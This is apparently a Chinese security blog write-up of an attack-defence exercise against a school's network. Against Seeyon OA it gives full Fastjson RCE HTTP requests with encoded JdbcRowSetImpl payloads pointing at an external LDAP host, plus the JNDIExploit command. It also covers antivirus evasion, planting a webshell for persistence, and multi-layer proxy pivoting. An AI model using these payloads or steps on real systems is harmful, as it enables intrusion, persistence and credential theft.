好久没有写文章了。
1.最近入了很多众测。安心挖洞。
2.没有比赛就没有什么好文章输出。
这不刚结束就写文章给表哥们了。
环境介绍
其中目标是一个学校,不止一次的被打过了。
这次肯定是修复了。
上次手法
对学校进行攻防的手法,离不开信息收集。
google语法:
site:xxx.edu.cn xxx系统/xxx平台
举例:
运气好,还是可以登录。这种一般都是账号多用,各种平台/云盘之类的。进了后台就简单多了。
攻防开始
利用上次的手段是行不通了,只能慢慢的找点。这次利用外网致远oa系统。
第一次尝试
很顺利的发现了fastjson-rce的漏洞。
执行命令这里需要用到JNDIExploit。在vps启动JNDIExploit
java -jar JNDIExploit-1.2-SNAPSHOT.jar -p port -i ip
借助工具可以进行命令执行。
第一次很成功的执行了。利用ps成功上线。
这里ps把脚本和命令都进行简单的免杀和分块即可。可以看我之前的文章。
梅开二度
但是没过多久,就掉线了。
因为第一天就拿到了6个shell。很忙。
维权做的不好。都是上线留着之后再打。
继续之前的操作,发现无法成功执行命令。
梅开二度-继续研究
这里还是主动尝试了手动,使用代理抓去oa中的poc,和网上的poc是一致的。
路径:/seeyon/sursenServlet
POST /seeyon/sursenServlet HTTP/1.1
sursenData=%7B%22name%22%3A%7B%22%5Cu0040%5Cu0074%5Cu0079%5Cu0070%5Cu0065%22%3A%22%5Cu006a%5Cu0061%5Cu0076%5Cu0061%5Cu002e%5Cu006c%5Cu0061%5Cu006e%5Cu0067%5Cu002e%5Cu0043%5Cu006c%5Cu0061%5Cu0073%5Cu0073%22%2C%22%5Cu0076%5Cu0061%5Cu006c%22%3A%22%5Cu0063%5Cu006f%5Cu006d%5Cu002e%5Cu0073%5Cu0075%5Cu006e%5Cu002e%5Cu0072%5Cu006f%5Cu0077%5Cu0073%5Cu0065%5Cu0074%5Cu002e%5Cu004a%5Cu0064%5Cu0062%5Cu0063%5Cu0052%5Cu006f%5Cu0077%5Cu0053%5Cu0065%5Cu0074%5Cu0049%5Cu006d%5Cu0070%5Cu006c%22%7D%2C%22x%22%3A%7B%22%5Cu0040%5Cu0074%5Cu0079%5Cu0070%5Cu0065%22%3A%22%5Cu0063%5Cu006f%5Cu006d%5Cu002e%5Cu0073%5Cu0075%5Cu006e%5Cu002e%5Cu0072%5Cu006f%5Cu0077%5Cu0073%5Cu0065%5Cu0074%5Cu002e%5Cu004a%5Cu0064%5Cu0062%5Cu0063%5Cu0052%5Cu006f%5Cu0077%5Cu0053%5Cu0065%5Cu0074%5Cu0049%5Cu006d%5Cu0070%5Cu006c%22%2C%22%5Cu0064%5Cu0061%5Cu0074%5Cu0061%5Cu0053%5Cu006f%5Cu0075%5Cu0072%5Cu0063%5Cu0065%5Cu004e%5Cu0061%5Cu006d%5Cu0065":"ldap://xxxx","autoCommit":true}}
测试发现,dnslog都无法通信。经过不断的尝试,推测这条路被堵上了。就换另一个方式。
梅开二度-getshell
这里继续尝试的fastjson的第二种rce方式。
以下poc均来自网络
路径:
/seeyon/main.do?method=changeLocale
poc:
POST /seeyon/main.do?method=changeLocale HTTP/1.1
Host: 127.0.0.1:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
cmd: net user
Content-Length: 713
_json_params={"name":{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073","\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://xx.xx.xx.xx","autoCommit":true}}
发现dnslog也是无法响应的,不断的摸索。发现不同版本的poc方式不同。
下图来自网络。
利用上述提供的poc
在这里进行了遍历进行dnslog回显。发现成功回来。
这里要多个服务器.多次尝试会触发防火墙。导致服务器被拉黑。
然后使用JNDIExploit进行命令执行就可以了。成功上线
上次吃了教训,这次直接去放了一个webshell进去。
致远oa-webshell路径:
webapps\seeyon\
内网
内网没有什么亮点。这里使用了正向re代理进去。
扫描-登录服务器-翻文件-找密码。
唯一需要注意的是二层多层代理的操作。不同业务内网。需要多层代理。
对了还有fscan的免杀.这次攻防原来的fscan一直无法运行。
本公众号文章以技术分享学习为目的。
由于传播、利用本公众号发布文章而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任。
一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
【推荐关注】